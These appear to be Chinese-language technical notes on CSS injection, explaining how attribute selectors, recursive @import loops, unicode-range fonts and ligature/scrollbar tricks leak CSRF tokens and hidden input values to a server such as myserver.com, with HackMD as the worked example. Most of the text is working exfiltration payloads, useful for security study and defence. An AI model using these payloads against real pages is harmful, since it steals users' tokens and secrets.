可以在一個頁面上可以插入任何的 CSS 語法
(顧名思義: 你可以插入 <style>
這個標籤)
input[value^=a]
開頭是 a 的(prefix)input[value$=a]
結尾是 a 的(suffix)input[value*=a]
內容有 a 的(contains)<input name="secret" value="abc123">
input[name="secret"][value^="a"] { background: url(https://myserver.com?q=a) } input[name="secret"][value^="b"] { background: url(https://myserver.com?q=b) } input[name="secret"][value^="c"] { background: url(https://myserver.com?q=c) } //.... input[name="secret"][value^="z"] { background: url(https://myserver.com?q=z) }
<form action="/action"> <input type="hidden" name="csrf-token" value="abc123"> <input name="username"> <input type="submit"> </form>
X 這樣無法 (input 亦無法從 css 直接強迫顯示)
input[name="csrf-token"][value^="a"] { background: url(https://example.com?q=a) }
O 這樣可能可以
input[name="csrf-token"][value^="a"] + input { background: url(https://example.com?q=a) } form:has(input[name="csrf-token"][value^="a"]){ background: url(https://example.com?q=a) }
<meta name="csrf-token" content="abc123">
meta 這個元素一樣是看不見的元素,要怎麼偷呢?
has
html:has(meta[name="csrf-token"][content^="a"]) { background: url(https://example.com?q=a); }
head, meta { display: block; } meta[name="csrf-token"][content^="a"] { background: url(https://example.com?q=a); }
<meta name="csrf-token" content="DochvZSX-kH2TbFcmn-rviBGiBCnpUFX8ttk">
<style>
就算偷到了 HackMD 的 CSRF token,依然還是沒辦法 CSRF,因為 HackMD 有在 server 檢查其他的 HTTP request header 如 origin 或是 referer 等等,確保 request 來自合法的地方。
在不使用 JS 的情況下怎麼動態載入新的 style?
使用 @import
引入 style 的迴圈
<style>=== @import url(https://myserver.com/start?len=8) </style>
server 回傳
@import url(https://myserver.com/payload?len=1) @import url(https://myserver.com/payload?len=2) @import url(https://myserver.com/payload?len=3) @import url(https://myserver.com/payload?len=4) @import url(https://myserver.com/payload?len=5) @import url(https://myserver.com/payload?len=6) @import url(https://myserver.com/payload?len=7) @import url(https://myserver.com/payload?len=8)
第一次回傳的 style
input[name="secret"][value^="a"] { background: url(https://b.myserver.com/leak?q=a) } input[name="secret"][value^="b"] { background: url(https://b.myserver.com/leak?q=b) } input[name="secret"][value^="c"] { background: url(https://b.myserver.com/leak?q=c) } //.... input[name="secret"][value^="z"] { background: url(https://b.myserver.com/leak?q=z) }
假設是 d 開頭,回傳以下的 style,然後以此類推
input[name="secret"][value^="da"] { background: url(https://b.myserver.com/leak?q=da) } input[name="secret"][value^="db"] { background: url(https://b.myserver.com/leak?q=db) } input[name="secret"][value^="dc"] { background: url(https://b.myserver.com/leak?q=dc) } //.... input[name="secret"][value^="dz"] { background: url(https://b.myserver.com/leak?q=dz) }
Firefox 不支援前面的做法,需改下面做法,Chrome 也支援
<style>@import url(https://myserver.com/payload?len=1)</style> <style>@import url(https://myserver.com/payload?len=2)</style> <style>@import url(https://myserver.com/payload?len=3)</style> <style>@import url(https://myserver.com/payload?len=4)</style> <style>@import url(https://myserver.com/payload?len=5)</style> <style>@import url(https://myserver.com/payload?len=6)</style> <style>@import url(https://myserver.com/payload?len=7)</style> <style>@import url(https://myserver.com/payload?len=8)</style>
HackMD 的 CSRF token 共有 36 個字,要發 36 個 request?
prefix selector + suffix selector
input[name="secret"][value^="a"] { background: url(https://b.myserver.com/leak?q=a) } input[name="secret"][value^="b"] { background: url(https://b.myserver.com/leak?q=b) } // ... input[name="secret"][value$="a"] { border-background: url(https://b.myserver2.com/suffix?q=a) } input[name="secret"][value$="b"] { border-background: url(https://b.myserver2.com/suffix?q=b) }
unicode-range
<!DOCTYPE html> <html> <body> <style> @font-face { font-family: "Ampersand"; src: local("Times New Roman"); unicode-range: U+26; } div { font-size: 4em; font-family: Ampersand, Helvetica, sans-serif; } </style> <div>Me & You = Us</div> </body> </html>
<!DOCTYPE html> <html> <body> <style> @font-face { font-family: "f1"; src: url(https://myserver.com?q=1); unicode-range: U+31; } @font-face { font-family: "f2"; src: url(https://myserver.com?q=2); unicode-range: U+32; } @font-face { font-family: "f3"; src: url(https://myserver.com?q=3); unicode-range: U+33; } @font-face { font-family: "fa"; src: url(https://myserver.com?q=a); unicode-range: U+61; } @font-face { font-family: "fb"; src: url(https://myserver.com?q=b); unicode-range: U+62; } @font-face { font-family: "fc"; src: url(https://myserver.com?q=c); unicode-range: U+63; } div { font-size: 4em; font-family: f1, f2, f3, fa, fb, fc; } </style> Secret: <div>ca31a</div> </body> </html>
如果你去看 network tab,會看到一共發送了 4 個 request:
可以得知頁面上有:13ac 這四個字元。
侷限
字體高度差異 + first-line + scrollbar
unicode-range
css 屬性控制字元的字體div { font-size: 0px; height: 40px; width: 20px; font-family: fc, "Courier New"; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; --leak: url(http://myserver.com?C); } div::first-line{ font-size: 30px; } div::-webkit-scrollbar { background: blue; } div::-webkit-scrollbar:vertical { background: var(--leak); }
某些字型當中,會把一些特定的組合 render 成連在一起的樣子,出現時就把他的寬度拉超大讓 scrollbar 出現
實戰上的話,可以用 SVG 搭配其他工具,在 server 端迅速產生字體